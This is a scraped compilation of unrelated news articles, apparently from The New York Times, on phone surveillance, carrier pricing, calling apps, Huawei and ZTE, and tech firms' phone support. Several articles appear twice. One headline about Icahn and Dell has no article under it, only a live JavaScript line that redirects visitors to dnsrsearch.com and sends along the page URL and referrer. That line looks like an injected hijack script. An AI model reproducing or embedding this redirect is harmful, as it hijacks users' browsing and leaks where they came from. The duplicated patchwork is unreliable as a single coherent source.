Judge Upholds N.S.A.’s Bulk Collection of Data on Calls

In just 11 days, the two judges and the presidential panel reached the opposite of consensus on every significant question before them, including the intelligence value of the program, the privacy interests at stake and how the Constitution figures in the analysis.

The latest decision, from Judge William H. Pauley III in New York, could not have been more different from one issued on Dec. 16 by Judge Richard J. Leon in Washington, who ruled that the program was “almost Orwellian” and probably unconstitutional.

The decision on Friday “is the exact opposite of Judge Leon’s in every way, substantively and rhetorically,” said Orin S. Kerr, a law professor at George Washington University. “It’s matter and antimatter.”

The case in New York was brought by the American Civil Liberties Union, which said it would appeal.

“We are extremely disappointed with this decision, which misinterprets the relevant statutes, understates the privacy implications of the government’s surveillance and misapplies a narrow and outdated precedent to read away core constitutional protections,” said Jameel Jaffer, a lawyer with the group.

A spokesman for the Justice Department said, “We are pleased the court found the N.S.A.’s bulk telephony metadata collection program to be lawful.”

The next stops for the parallel cases are the appeals courts in New York and Washington. Should the split endure, the Supreme Court is likely to step in.

In the meantime, the decisions, along with recommendations issued on Dec. 18 by the presidential review group, illustrate the absence of agreement about the effectiveness and legality of the program, which, Judge Pauley said, “vacuums up information about virtually every telephone call to, from or within the United States.” That information is “metadata” — the phone numbers involved, when calls were made and how long they lasted.

The two judges had starkly differing understandings on how valuable that program is.

Judge Pauley, whose courtroom is just blocks from where the World Trade Center towers stood, endorsed arguments made in recent months by senior government officials — including the former F.B.I. director Robert S. Mueller III — that the program might have caught the Sept. 11, 2001, hijackers had it been in place before the attacks.

Judge Pauley began his opinion with an anecdote. In the months before Sept. 11, he said, the N.S.A. intercepted seven calls made to a Qaeda safe house in Yemen from the United States. They were from Khalid al-Mihdhar, who was living in San Diego and would become one of the hijackers.

But the security agency “could not capture al-Mihdhar’s telephone number,” the judge wrote, and “N.S.A. analysts concluded mistakenly that al-Mihdhar was overseas and not in the United States.”

“Telephony metadata would have furnished the missing information and might have permitted the N.S.A. to notify the Federal Bureau of Investigation of the fact that al-Mihdhar was calling the Yemeni safe house from inside the United States,” Judge Pauley wrote.

Judge Leon, in Washington, took the opposite view, saying the government had failed to make the case that the program is needed to protect the nation. “The government does not cite a single instance in which analysis of the N.S.A.’s bulk metadata collection actually stopped an imminent attack, or otherwise aided the government in achieving any objective that was time-sensitive in nature,” he wrote.

The presidential review group took a middle ground, though it seemed to lean toward Judge Leon’s position. It said the security agency “believes that on at least a few occasions” the program “has contributed to its efforts to prevent possible terrorist attacks, either in the United States or somewhere else in the world.” But it added that its own review suggested that the program “was not essential to preventing attacks,” and that less intrusive measures would work.

The group recommended that bulk storage of telephone records by the government be halted in favor of “a system in which such metadata is held instead either by private providers or by a private third party.” Access to the data, it said, should require a court order.

The two judges did not limit their disagreements to how well the program worked. They also drew different conclusions about its constitutionality.

T-Mobile to Make It Cheaper to Make Calls While Abroad

Often, travelers have to pay an extra $100 to their provider to get any cell service abroad. Or they must sign up for a short-term plan with a carrier in the country they are visiting.

T-Mobile US, one of the largest phone carriers in the United States, wants to change that. The company on Wednesday said it was eliminating the charges that a customer normally paid to use their phone number and data service in a foreign country, called roaming fees.

John Legere, T-Mobile’s chief executive, said in an interview that travelers had long been shocked by exorbitant cellphone bills after they traveled, so many people now just leave their phones off.

He said the point of the change was to help the people who would pay $100 for service abroad. But it was also to help “the people who fear turning their phone on.”

T-Mobile customers will be automatically enrolled in the free-roaming agreement on Oct. 31. Those who subscribe to the company’s plan, called Simple Choice, can take their smartphone to a foreign country and pay 20 cents a minute for voice calls. Text messages and data will be unlimited.

The free roaming benefit will apply to about 100 countries, including France, Spain, China, Japan and Russia.

The plan is the latest aggressive move from T-Mobile, which has been on a campaign to disrupt the American wireless industry over the last year. The company has said its goal is to eliminate the things that make people angry with their phone companies.

In March, the company shifted from requiring customers to sign two-year contracts. And in July, the carrier offered an option for customers to upgrade to a new phone after as little as six months, instead of waiting two years. The company also continues to offer unlimited data plans, which AT&T and Verizon Wireless discontinued long ago for new customers.

The changes are working. In August, T-Mobile reported that it had gained 1.1 million customers in the last quarter, its largest growth in four years.

The elimination of roaming fees raises a question: if the customers don’t have to pay the fee, then who will? Mr. Legere said he expected customers to continue joining T-Mobile in droves, which will more than make up for the money that could have been made from charging roaming fees.

“We just changed the game to where our coverage map is now the world,” Mr. Legere said. “Our network is now by far a much bigger coverage area than AT&T and Verizon combined.”

DealBook: Icahn Calls Off Fight Over Dell’s Sale

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Bits Blog: Google Calls U.S. Data Request Disclosures a Step Backward for Users

Connie Zhou/Google, via Associated Press Backup tapes at one of Google’s data centers, in Berkeley County, S.C.

Even as the government gave tech companies permission to publish some data on national security requests for user data, Google said it did not go far enough.

Facebook and Microsoft on Friday night published data that for the first time included national security requests authorized by the Foreign Intelligence Surveillance Act, which are broad surveillance orders that prohibit recipients from acknowledging their existence. The companies, led by Google, had been publicly pressing the government to let them publish the data since Tuesday, in an attempt to quell anxiety among consumers after revelations of the government’s secret Internet surveillance program.

But the government gave the companies permission to publish the numbers only if they were grouped with all other government requests, including those from state and local governments and for criminal cases, making it very difficult to glean any information about the national security requests.

Google already publishes a transparency report that separates requests by country and type, including search warrants, subpoenas and national security letters. The report does not include FISA requests.

On Friday, the company issued a statement saying that publishing data that combines criminal and national security requests would be even less transparent than the data it currently publishes, and that it would continue to push the government for permission to publish the number and scope of the FISA requests it receives.

“Lumping the two categories together would be a step back for users,” the statement said. “Our request to the government is clear: to be able to publish aggregate numbers of national security requests, including FISA disclosures, separately.”

Google and other tech companies have said they want to disclose the information in part to correct misimpressions about their participation in government surveillance. While some have pushed back on requests, they are forced to comply with lawful orders, yet are unable to talk about them.

Twitter, which also publishes a transparency report but does not include national security requests because of silence orders, issued a statement in support of Google.

“We agree with @Google: It’s important to be able to publish numbers of national security requests — including FISA disclosures — separately,” Benjamin Lee, Twitter’s legal director, wrote on Twitter.

Facebook had never published data on government requests for user data until Friday, because it had said the data was meaningless if it did not include national security requests. On Friday, Ted Ullyot, Facebook’s general counsel, said in a statement that the company was still trying to get permission from the government to publish more detail.

John Frank, Microsoft’s deputy general counsel, wrote in a blog post, “We continue to believe that what we are permitted to publish continues to fall short of what is needed to help the community understand and debate these issues.”

Bits Blog: Facebook App Adds Free Voice Calls

Facebook doesn’t just want you to poke, message and stalk your friends. Now it wants you to actually talk to them.

The company this week started rolling out a free calling feature in its Messenger app for iPhone users in the United States. Inside the app, you can choose a friend, tap the “i” button in the top-right corner and select “Free Call.” If your friend also has the Messenger app, the call should go through.

But will anyone use it? In the past, the idea of free voice minutes might have sounded like a blessing. But today, many new phone plans offered by carriers — like Verizon Wireless and Sprint — already include unlimited voice minutes. Calling someone with a cellphone the normal way is more straightforward than doing it through an app. Also, call quality for Internet-powered voice calls is often poor, said Jan Dawson, a mobile analyst at Ovum.

So where might Facebook calling actually have an impact? For teenagers who spend most of their time on Facebook, the Messenger app could be a convenient way to quickly switch from a Facebook chat to a phone call, Mr. Dawson said. And if and when Facebook introduces the feature to international calling, it might be convenient for business travelers or people with families overseas — although many of those types of users are probably already on services like Skype, Mr. Dawson said.

Bits Blog: BlackBerry Phones Get Free Calls Over Wi-Fi

By using Research In Motion’s exclusive data network, the BlackBerry Messenger service, or BBM, has long allowed its users to avoid texting charges from their wireless carriers. On Monday, RIM added dodging voice charges to BBM’s list of features.

RIM introduced an upgrade for BlackBerry phones that will allow their owners to make free calls to anywhere in the world through Wi-Fi connections. As with all things BBM, the catch is that the person on the other end of the call must also be a BlackBerry user, a group which is declining in the United States.

RIM has long maintained close ties to wireless carriers. Jan Dawson, a telecommunications analyst with Ovum, said that free calling through BBM Voice was unlikely to undermine that relationship. He said that locations with Wi-Fi usually have conventional landline phones already providing an alternative to wireless voice calls. When that’s combined with a trend toward flat-rate wireless billing plans from carriers and the fact that the new service only works between BlackBerrys, “that will relegate it to a very small minority of overall calling scenarios and therefore carrier impact will be minimal,” Mr. Dawson wrote in an e-mail.

He added: “On the other hand, if Apple ever does something like this on the iPhone, that might have a much bigger impact.”

In a statement, John Walls, a spokesman for CTIA, the wireless industry trade group, suggested that the new feature might be a gain for the industry.

“Wireless carriers are operating tens of thousands of Wi-Fi hotspots around the United States, and consumers are the beneficiaries of such innovative solutions that are the result of a competitive, responsive industry,” he wrote.

The upgrade, which is being offered at no charge, is for current BlackBerry models. While the company’s announcement did not indicate what it has planned for the BlackBerry 10 phones, which will be unveiled at the end of January, it has said that the version of BBM for those phones will include several new features.

Donald Trump Calls Touré “Racist,” Wants Him Fired From MSNBC

The war of 140 characters between journalist/TV personality Touré, and mogul Donald J. Trump, reached a boiling point earlier today (Oct. 22) as the two exchanged insults via Twitter. In a recent tweet, the Apprentice mastermind stated, “When you are fired from MSNBC for your bad ratings and racist coverage, stop by and say hello.”… Continue

Novelties: New Webcams Add Wide-Angle Video Calls to Your TV

Now wide-angle cameras that pop onto large-screen televisions are on the market; they capture high-definition video and a generous stretch of the living room sofa, too. Several devices, including the TV Cam HD ($199.99) from Logitech, are already on sale, with at least a half-dozen others expected in time for the holiday shopping season, said Richard Doherty, research director of the Envisioneering Group, a market research company in Seaford, N.Y.

The new TV cams are for people who want to add an Internet-based feature to their  high-definition TV’s. “You can add this capability for a few hundred dollars or less,” Mr. Doherty said. “Lots of people have HDTVs they’ve bought in the last few years, and they aren’t going to get rid of them for Internet TVs.”

Internet-enabled TVs have software for video chatting, but many models require viewers to buy a suitable add-on camera.

Logitech’s TV Cam HD works with any high-definition television that has an available HDMI port, a common connection. It comes with connectivity to the Internet by way of Ethernet or Wi-Fi, and Skype software that supports high-definition video calling. To control the camera, you use a small remote control to zoom in or pan during a call, or to enter text on the screen.

Mr. Doherty says the new cams have crisp images and an enlarged field of view. “It can pack a real emotional punch when a loved one’s face appears on the big expanse of an HDTV,” he said. “And when you can watch sitting on the couch with the rest of your family, it’s a pleasant, relaxing experience.”

To try out the Logitech cam, I asked a neighbor, Li Wah Lai, a Manhattan-based graphic designer who has tested earlier generations of webcams, to use it for a video visit with her son Ming Alterman, a marketing manager for Coca-Cola in Shanghai.

“It was a totally different family experience from our usual laptop talk,” Ms. Lai said. She and her husband, Daniel Alterman, as well as their younger son, Mickey, all joined in for the Sunday-morning video chat with Ming. “I thought it would be the same,” she said. “But it wasn’t.”

There was no jostling in front of the camera, as there typically is when using a laptop, to guarantee that everyone could be seen and heard.

“It was very relaxing,” she said. They did not have to constantly ask Ming: “Can you see us? Can you hear us?”

And Ming became more comfortable, too, she said: “It was more of a family event.”

Clifford I. Nass, a Stanford communication professor, said the sight of familiar faces in high definition was especially appealing.

“It’s not just the pixels,” he said. “It’s the ability to detect facial expressions more accurately. The brain loves having this kind of information.”

THE wide-angle lens could also contribute to the emotional impact of video chatting, said Jeremy Bailenson, director of the Virtual Human Interaction Lab at Stanford. A generous field of view, he said, “plays a big part in creating the feeling that the digital other you are talking with is actually in the room with you.”

The wide field of view permits more glimpses of nonverbal interactions, he said, like the exchange of glances during the chat.

With the Logitech device, all calls are placed and received by using the remote control. Because there is no keyboard, entering text can be tedious: you have to click up, down, right or left on the remote, for example, to select each letter of the name of new Skype contacts from a keyboard projected on the screen. Ms. Lai started off slowly with this skill, but within minutes her fingers were flying.

You can also use the remote to adjust the image you are projecting, zooming in, panning or tilting.

The device requires users to have Skype service. which is free for calls between its users. Incoming calls to the cam will ring out even when the television is turned off — you’ll need to grab the remote and turn on the TV.

And if you are still in your bathrobe, you can also leave the call for voice mail.

E-mail: novelties@nytimes.com.

Novelties: New Webcams Add Wide-Angle Video Calls to Your TV

Now wide-angle cameras that pop onto large-screen televisions are on the market; they capture high-definition video and a generous stretch of the living room sofa, too. Several devices, including the TV Cam HD ($199.99) from Logitech, are already on sale, with at least a half-dozen others expected in time for the holiday shopping season, said Richard Doherty, research director of the Envisioneering Group, a market research company in Seaford, N.Y.

The new TV cams are for people who want to add an Internet-based feature to their  high-definition TV’s. “You can add this capability for a few hundred dollars or less,” Mr. Doherty said. “Lots of people have HDTVs they’ve bought in the last few years, and they aren’t going to get rid of them for Internet TVs.”

Internet-enabled TVs have software for video chatting, but many models require viewers to buy a suitable add-on camera.

Logitech’s TV Cam HD works with any high-definition television that has an available HDMI port, a common connection. It comes with connectivity to the Internet by way of Ethernet or Wi-Fi, and Skype software that supports high-definition video calling. To control the camera, you use a small remote control to zoom in or pan during a call, or to enter text on the screen.

Mr. Doherty says the new cams have crisp images and an enlarged field of view. “It can pack a real emotional punch when a loved one’s face appears on the big expanse of an HDTV,” he said. “And when you can watch sitting on the couch with the rest of your family, it’s a pleasant, relaxing experience.”

To try out the Logitech cam, I asked a neighbor, Li Wah Lai, a Manhattan-based graphic designer who has tested earlier generations of webcams, to use it for a video visit with her son Ming Alterman, a marketing manager for Coca-Cola in Shanghai.

“It was a totally different family experience from our usual laptop talk,” Ms. Lai said. She and her husband, Daniel Alterman, as well as their younger son, Mickey, all joined in for the Sunday-morning video chat with Ming. “I thought it would be the same,” she said. “But it wasn’t.”

There was no jostling in front of the camera, as there typically is when using a laptop, to guarantee that everyone could be seen and heard.

“It was very relaxing,” she said. They did not have to constantly ask Ming: “Can you see us? Can you hear us?”

And Ming became more comfortable, too, she said: “It was more of a family event.”

Clifford I. Nass, a Stanford communication professor, said the sight of familiar faces in high definition was especially appealing.

“It’s not just the pixels,” he said. “It’s the ability to detect facial expressions more accurately. The brain loves having this kind of information.”

THE wide-angle lens could also contribute to the emotional impact of video chatting, said Jeremy Bailenson, director of the Virtual Human Interaction Lab at Stanford. A generous field of view, he said, “plays a big part in creating the feeling that the digital other you are talking with is actually in the room with you.”

The wide field of view permits more glimpses of nonverbal interactions, he said, like the exchange of glances during the chat.

With the Logitech device, all calls are placed and received by using the remote control. Because there is no keyboard, entering text can be tedious: you have to click up, down, right or left on the remote, for example, to select each letter of the name of new Skype contacts from a keyboard projected on the screen. Ms. Lai started off slowly with this skill, but within minutes her fingers were flying.

You can also use the remote to adjust the image you are projecting, zooming in, panning or tilting.

The device requires users to have Skype service. which is free for calls between its users. Incoming calls to the cam will ring out even when the television is turned off — you’ll need to grab the remote and turn on the TV.

And if you are still in your bathrobe, you can also leave the call for voice mail.

E-mail: novelties@nytimes.com.

U.S. Panel Calls Huawei and ZTE ‘National Security Threat’

The House Intelligence Committee said that after a yearlong investigation it had come to the conclusion that the Chinese businesses, Huawei Technologies and ZTE Inc., were a national security threat because of their attempts to extract sensitive information from American companies and their loyalties to the Chinese government.

The companies sell telecommunications equipment needed to create and operate wireless networks, like the ones used by Verizon Wireless and AT&T. Many of the major suppliers of the equipment are based outside the United States, creating concerns here about the security of communications.

Those concerns are most acute about Huawei and ZTE because of their close ties to the Chinese government, which the committee said has heavily subsidized the companies. Allowing the Chinese companies to do business in the United States, the report said, would give the Chinese government the ability to easily intercept communications and could allow it to start online attacks on critical infrastructure, like dams and power grids.

The release of the report comes as both presidential candidates have spoken of the importance of United States ties with China and have promised to act strongly on Chinese currency and trade practices that are damaging to American business interests.

Mitt Romney, the Republican presidential candidate, has called repeatedly during his campaign for a more confrontational approach to China on business issues, although he has focused his warnings more on Chinese currency market interventions than on the activities of the nation’s telecommunications companies.

President Obama has also taken a tougher stance on China recently. Late last month, Mr. Obama, through the Committee on Foreign Investment, ordered a Chinese company to divest itself of interests in four wind farm projects near a Navy base in Oregon where drone aircraft training takes place. It was the first time a president had blocked such a deal in 22 years.

The Obama administration has also filed a case at the World Trade Organization in Geneva accusing China of unfairly subsidizing its exports of autos and auto parts, the ninth trade action the administration has brought against China.

“We have a process that is not aimed at one specific company but using all the assets and parts of U.S. government aimed at protecting our telecommunications and critical infrastructure,” a senior White House official said.

The report was released on Monday morning at a news conference held by

Representative Mike Rogers, Republican of Michigan, the chairman of the House Intelligence Committee, and Representative C. A. Ruppersberger of Maryland, the top Democrat on the committee.

They said that the United States government should be barred from doing business with Huawei and ZTE and that American companies should avoid buying their equipment.

The report said the committee had obtained internal documents from former employees of Huawei that showed it supplied services to a “cyberwarfare” unit in the People’s Liberation Army.

The United States government, the report said, should go through the Committee on Foreign Investment in the United States, an interagency panel that reviews the national security implications of foreign investments, to carry out its recommendations. It also said that committee should block any mergers and acquisitions involving the Chinese companies and American businesses.

In the course of the investigation, the House committee said it had uncovered evidence of economic espionage — and officials said on Monday that they planned to hand over the evidence to the F.B.I.

Former and current employees for Huawei, the report said, told investigators for the committee that the company had committed “potential violations” in the United States related to immigration, bribery, corruption and copyright infringement.

Huawei has been the focus of criticism and security warnings for years, including by the Defense Department. Its expansion plans in the United States have faced resistance from Congress over questions about its ties to the military in China.

Huawei denies being financed to undertake research and development for the Chinese military, and its executives have repeatedly insisted that they have nothing to hide. The company issued an open letter to the United States government in February 2011, asking for an inquiry to clear up what it characterized as misperceptions about its history and business operations.

Michael S. Schmidt reported from Washington and Christine Hauser from New York. Keith Bradsher contributed reporting from Hong Kong, and Quentin Hardy from San Francisco.

U.S. Panel Calls Huawei and ZTE ‘National Security Threat’

The House Intelligence Committee said that after a yearlong investigation it had come to the conclusion that the Chinese businesses, Huawei Technologies and ZTE Inc., were a national security threat because of their attempts to extract sensitive information from American companies and their loyalties to the Chinese government.

The companies sell telecommunications equipment needed to create and operate wireless networks, like the ones used by Verizon Wireless and AT&T. Many of the major suppliers of the equipment are based outside the United States, creating concerns here about the security of communications.

Those concerns are most acute about Huawei and ZTE because of their close ties to the Chinese government, which the committee said has heavily subsidized the companies. Allowing the Chinese companies to do business in the United States, the report said, would give the Chinese government the ability to easily intercept communications and could allow it to start online attacks on critical infrastructure, like dams and power grids.

The release of the report comes as both presidential candidates have spoken of the importance of United States ties with China and have promised to act strongly on Chinese currency and trade practices that are damaging to American business interests.

Mitt Romney, the Republican presidential candidate, has called repeatedly during his campaign for a more confrontational approach to China on business issues, although he has focused his warnings more on Chinese currency market interventions than on the activities of the nation’s telecommunications companies.

President Obama has also taken a tougher stance on China recently. Late last month, Mr. Obama, through the Committee on Foreign Investment, ordered a Chinese company to divest itself of interests in four wind farm projects near a Navy base in Oregon where drone aircraft training takes place. It was the first time a president had blocked such a deal in 22 years.

The Obama administration has also filed a case at the World Trade Organization in Geneva accusing China of unfairly subsidizing its exports of autos and auto parts, the ninth trade action the administration has brought against China.

“We have a process that is not aimed at one specific company but using all the assets and parts of U.S. government aimed at protecting our telecommunications and critical infrastructure,” a senior White House official said.

The report was released on Monday morning at a news conference held by

Representative Mike Rogers, Republican of Michigan, the chairman of the House Intelligence Committee, and Representative C. A. Ruppersberger of Maryland, the top Democrat on the committee.

They said that the United States government should be barred from doing business with Huawei and ZTE and that American companies should avoid buying their equipment.

The report said the committee had obtained internal documents from former employees of Huawei that showed it supplied services to a “cyberwarfare” unit in the People’s Liberation Army.

The United States government, the report said, should go through the Committee on Foreign Investment in the United States, an interagency panel that reviews the national security implications of foreign investments, to carry out its recommendations. It also said that committee should block any mergers and acquisitions involving the Chinese companies and American businesses.

In the course of the investigation, the House committee said it had uncovered evidence of economic espionage — and officials said on Monday that they planned to hand over the evidence to the F.B.I.

Former and current employees for Huawei, the report said, told investigators for the committee that the company had committed “potential violations” in the United States related to immigration, bribery, corruption and copyright infringement.

Huawei has been the focus of criticism and security warnings for years, including by the Defense Department. Its expansion plans in the United States have faced resistance from Congress over questions about its ties to the military in China.

Huawei denies being financed to undertake research and development for the Chinese military, and its executives have repeatedly insisted that they have nothing to hide. The company issued an open letter to the United States government in February 2011, asking for an inquiry to clear up what it characterized as misperceptions about its history and business operations.

Michael S. Schmidt reported from Washington and Christine Hauser from New York. Keith Bradsher contributed reporting from Hong Kong, and Quentin Hardy from San Francisco.

Bits Blog: Why the iPhone 5 on Verizon and Sprint Won't Juggle Calls and Data

Justin Sullivan/Getty Images

A lot has changed in Apple’s new iPhone. But with the Verizon Wireless and Sprint versions of the iPhone 5, there’s something that will remain the same from the old model: The phone still won’t be able to place a call and handle data activity over the cellular network at the same time.

Older Verizon and Sprint smartphones on 3G networks were not able to handle simultaneous calls and data because of a limitation in CDMA, the 3G technology that those networks use. But now some Verizon 4G LTE smartphones will let you stay on a phone call while looking up something in an app or checking e-mail. So why not the iPhone 5?

Brenda Raney, a Verizon Wireless spokeswoman, said it was Apple’s decision to design the iPhone 5 so that customers could make voice calls and do Internet activity simultaneously only over Wi-Fi, not over Verizon’s cell network. “The iPhone 5 is designed to allow customers to make voice calls on the Verizon Wireless network and surf the Web on Wi-Fi,” she said in an e-mail. “It was an Apple decision.”

The explanation for this, it turns out, is complicated. The technology in 4G LTE networks does not currently handle voice transmissions; it only does data. So when you place a phone call on a 4G LTE smartphone, it’s actually rolling back to the carrier’s older second- or third-generation network, according to AnandTech, a Web publication that does deep analysis on hardware.

That means when AT&T customers place a phone call and use data on the iPhone 5, both functions will roll back to AT&T’s older network, which can handle them simultaneously. When you place a phone call while using data in an app with a Verizon or Sprint iPhone 5, it will roll back to their older CDMA networks, which are not capable of simultaneously doing calls and data. And that’s why the iPhone 5 on Verizon and Sprint, despite being a 4G LTE device, will still not do both at the same time.

An Apple spokeswoman, Natalie Kerris, put it this way: “iPhone 5 supports simultaneous voice and data on GSM-based 3G and LTE networks. It is not yet possible to do simultaneous voice and data on networks that use CDMA for voice and LTE for data in a single radio design.”

So why does Verizon’s Samsung Galaxy S III, a 4G LTE phone, juggle calls and data? Samsung added an extra antenna so that it pulls data from the 4G LTE network at the same time that it’s using another antenna to do voice, said Anand Shimpi, editor in chief of AnandTech.

Then why didn’t Apple add another antenna? Its phone already has two antennas in an effort to improve reception, and it would have had to add a third antenna just for Verizon and Sprint phones to give them simultaneous data and calls, Mr. Shimpi explained. Leaving that third antenna out allows Apple to simplify the process of manufacturing the iPhone for multiple carriers. Plus, in the next two years, 4G LTE technology is supposed to evolve to support voice calls, which would render another antenna unnecessary.

Whew! Despite that explanation, the ability to do calls and data at the same time was one of the major things that AT&T’s iPhone customers had that Verizon’s and Sprint’s didn’t. And for now, that story remains the same with the iPhone 5 — which may be a consideration for customers considering a new phone on those networks.

Bits Blog: Why the iPhone 5 on Verizon and Sprint Won't Juggle Calls and Data

Justin Sullivan/Getty Images

A lot has changed in Apple’s new iPhone. But with the Verizon Wireless and Sprint versions of the iPhone 5, there’s something that will remain the same from the old model: The phone still won’t be able to place a call and handle data activity over the cellular network at the same time.

Older Verizon and Sprint smartphones on 3G networks were not able to handle simultaneous calls and data because of a limitation in CDMA, the 3G technology that those networks use. But now some Verizon 4G LTE smartphones will let you stay on a phone call while looking up something in an app or checking e-mail. So why not the iPhone 5?

Brenda Raney, a Verizon Wireless spokeswoman, said it was Apple’s decision to design the iPhone 5 so that customers could make voice calls and do Internet activity simultaneously only over Wi-Fi, not over Verizon’s cell network. “The iPhone 5 is designed to allow customers to make voice calls on the Verizon Wireless network and surf the Web on Wi-Fi,” she said in an e-mail. “It was an Apple decision.”

The explanation for this, it turns out, is complicated. The technology in 4G LTE networks does not currently handle voice transmissions; it only does data. So when you place a phone call on a 4G LTE smartphone, it’s actually rolling back to the carrier’s older second- or third-generation network, according to AnandTech, a Web publication that does deep analysis on hardware.

That means when AT&T customers place a phone call and use data on the iPhone 5, both functions will roll back to AT&T’s older network, which can handle them simultaneously. When you place a phone call while using data in an app with a Verizon or Sprint iPhone 5, it will roll back to their older CDMA networks, which are not capable of simultaneously doing calls and data. And that’s why the iPhone 5 on Verizon and Sprint, despite being a 4G LTE device, will still not do both at the same time.

An Apple spokeswoman, Natalie Kerris, put it this way: “iPhone 5 supports simultaneous voice and data on GSM-based 3G and LTE networks. It is not yet possible to do simultaneous voice and data on networks that use CDMA for voice and LTE for data in a single radio design.”

So why does Verizon’s Samsung Galaxy S III, a 4G LTE phone, juggle calls and data? Samsung added an extra antenna so that it pulls data from the 4G LTE network at the same time that it’s using another antenna to do voice, said Anand Shimpi, editor in chief of AnandTech.

Then why didn’t Apple add another antenna? Its phone already has two antennas in an effort to improve reception, and it would have had to add a third antenna just for Verizon and Sprint phones to give them simultaneous data and calls, Mr. Shimpi explained. Leaving that third antenna out allows Apple to simplify the process of manufacturing the iPhone for multiple carriers. Plus, in the next two years, 4G LTE technology is supposed to evolve to support voice calls, which would render another antenna unnecessary.

Whew! Despite that explanation, the ability to do calls and data at the same time was one of the major things that AT&T’s iPhone customers had that Verizon’s and Sprint’s didn’t. And for now, that story remains the same with the iPhone 5 — which may be a consideration for customers considering a new phone on those networks.

Tech Companies Leave Phone Calls Behind

Quora is not the only social technology company that presents an antisocial attitude to callers. Twitter’s phone system hangs up after providing Web or e-mail addresses three times. At the end of a long phone tree, Facebook’s system explains it is, in fact, “an Internet-based company.” Try e-mail, it suggests.

LinkedIn’s voice mail lists an alternate customer service number. Dial it, and the caller is trapped in a telephonic version of the movie “Groundhog Day,” forced to work through the original phone tree again and again until the lesson is clear: stop calling.

Voice calls have been falling out of fashion with teenagers and people in their 20s for some time (text only, please). But what is a matter of preference for the young is becoming a matter of policy for technology companies; phones cost money, phones do not scale. Besides, why call when you can use Google, or send a Twitter message?

On the other end of the line, however, some people may not know how to Google, or do not want to use Twitter. These users may be older, or less technically adept, and they are finding the method of communication they have relied on for a lifetime shifting under their feet. It does not make sense, they say, that a company with products used by millions every day cannot pick up the phone.

The companies argue that with millions of users every day, they cannot possibly pick up a phone.

“A lot of these companies don’t have enough employees to talk to,” said Paul Saffo, a longtime technology forecaster in Silicon Valley. Facebook, for example, has just one employee for every 300,000 users. Its online systems process more than two million customer requests a day.

Google, which at 14 years old is a relative ancient in Silicon Valley, is one of the few companies that publishes phone numbers on its Web site. Its phone system sends callers back to the Web no less than 11 times. Its lengthy messages contain basic Internet education in a tone that might be used with an aging relative, explaining, slowly and gently, “There’s nothing Google can do to remove information from Web sites.”

Google initially tried to handle requests by e-mail, but even that proved too cumbersome. The company now steers incoming questions to online forums.

“All these companies stay away from phone support,” said Mikkel Svane, the chief executive of Zendesk, whose products help companies manage incoming requests. “People get aggressive or aggravated; people are depressed or crying. It’s just hard talking to customers,” he said, adding that these companies have paved the way in large-scale customer service by keeping everything online.

Officials at Facebook, Google and Twitter (all reached first by e-mail) say their users prefer to go online, finding it more pleasant and efficient than wading through a phone tree. But what about other business matters? What if, say, a prospective investor wants to call?

“If people need to get ahold of us, they definitely have sources inside,” said Derek Stewart, the finance director of Foursquare, whose personal cellphone has been mistaken for the company’s main office line. In Foursquare’s offices in New York, phone calls are considered a distraction to the developers and are conducted away from the main work area, in British-style red phone booths, the company’s spokeswoman said, explaining that calls are not part of developer culture.

Still, others see a social cost to this change, a deepening of the digital divide.

“The phone users are getting left out,” said Mari Smith, a consultant who trains businesses in how best to use social media. She should know. Because her consulting company lists an 800 number, frustrated people call all the time, looking for help with their Facebook accounts. She eventually adjusted her phone message to callers to explain that she does not provide technical support for Facebook.

“I just got bombarded,” she said. “They’re just so desperate to reach a real human being.”

Ms. Smith said she believed that large Internet companies might someday return to phones to set themselves apart from competitors. “The ability to call up and get a real human being — the companies who can do that and go back to basics are really the ones that will be winning out and humanizing their brand,” she said.

But for now, some people still feel frozen out when they pick up the phone.

Gabriel McKean, for example, was eager to start using Twitter. His 5-year-old daughter has a rare and painful genetic condition that turns her body’s soft tissue to bone, and the McKeans, who live in Bellevue, Ohio, started a Twitter account for “Ali’s Army” to raise awareness of her disease.

But the account was suspended in a matter of hours — Mr. McKean’s repeated posts of the family’s Web site were quickly flagged by Twitter’s systems as spam.

Upset and confused, he searched Twitter.com for a phone number, but found nothing. He sent an e-mail, but received only automated replies filled with jargon that confused him further. Without other options, he had no choice but to wait for someone to reinstate his account over e-mail.

He hoped to “plead his case” to someone over the phone, but that never happened. Two days later his account was reinstated via e-mail. Given that Twitter handles nearly 400 million messages every day, that might be considered a victory for efficiency and scale, but it did nothing to remove the sting Mr. McKean felt when he could not connect with a real person.

“The plain and simple fact is that they’re too busy or too important to talk to us,” he said.